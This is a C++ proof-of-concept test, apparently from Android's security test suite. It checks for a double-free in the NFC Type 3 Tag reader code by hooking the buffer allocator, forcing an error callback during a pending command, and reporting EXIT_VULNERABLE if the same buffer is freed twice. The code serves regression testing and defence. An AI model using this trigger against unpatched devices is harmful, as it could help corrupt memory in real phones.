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/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "../includes/common.h"
#include <dlfcn.h>
#include <nfc_int.h>
#include <rw_int.h>
#include <vector>
using namespace std;
extern tRW_CB rw_cb;
extern tNFC_CB nfc_cb;
void rw_init(void);
tNFC_STATUS rw_t3t_select(uint8_t peerNfcID[NCI_RF_F_UID_LEN],
uint8_t mrtiCheck, uint8_t mrtiUpdate);
static void (*real_GKI_freebuf)(void *ptr) = nullptr;
static void *(*real_GKI_getpoolbuf)(uint8_t pool_id) = nullptr;
bool kIsInitialized = false;
bool kIsVulnerable = false;
struct myPtr {
void *ptr = nullptr;
bool isFreed = false;
};
struct myPtr vulnerablePtr;
enum {
RW_T3T_STATE_NOT_ACTIVATED,
RW_T3T_STATE_IDLE,
RW_T3T_STATE_COMMAND_PENDING
};
void poc_cback(tRW_EVENT, tRW_DATA *) {}
void GKI_start_timer(uint8_t, int32_t, bool) {}
void GKI_stop_timer(uint8_t) {}
void init(void) {
real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
if (!real_GKI_freebuf) {
return;
}
real_GKI_getpoolbuf =
(void *(*)(uint8_t))dlsym(RTLD_NEXT, "_Z14GKI_getpoolbufh");
if (!real_GKI_freebuf) {
return;
}
kIsInitialized = true;
}
void *GKI_getpoolbuf(uint8_t pool_id) {
if (!kIsInitialized) {
init();
}
void *ptr = real_GKI_getpoolbuf(pool_id);
if (pool_id == NFC_RW_POOL_ID) {
vulnerablePtr.ptr = ptr;
}
return ptr;
}
void GKI_freebuf(void *ptr) {
if (!kIsInitialized) {
init();
}
if (ptr == vulnerablePtr.ptr) {
if (vulnerablePtr.isFreed) {
kIsVulnerable = true;
} else {
vulnerablePtr.isFreed = true;
}
}
real_GKI_freebuf(ptr);
}
int main() {
tNFC_ACTIVATE_DEVT p_activate_params = {};
p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
RW_SetActivatedTagType(&p_activate_params, &poc_cback);
FAIL_CHECK(rw_cb.p_cback == &poc_cback);
tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
GKI_init();
rw_init();
rw_cb.p_cback = &poc_cback;
uint8_t peerNfcID[NCI_RF_F_UID_LEN];
uint8_t mrtiCheck = 1, mrtiUpdate = 1;
FAIL_CHECK(rw_t3t_select(peerNfcID, mrtiCheck, mrtiUpdate) == NFC_STATUS_OK);
tNFC_CONN p_data = {};
NFC_HDR nfcHdr = {};
p_data.data.p_data = &nfcHdr;
tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
uint8_t conn_id = NFC_RF_CONN_ID;
tNFC_CONN_EVT event = NFC_ERROR_CEVT;
p_cb->p_cback(conn_id, event, &p_data);
return (kIsVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS;
}
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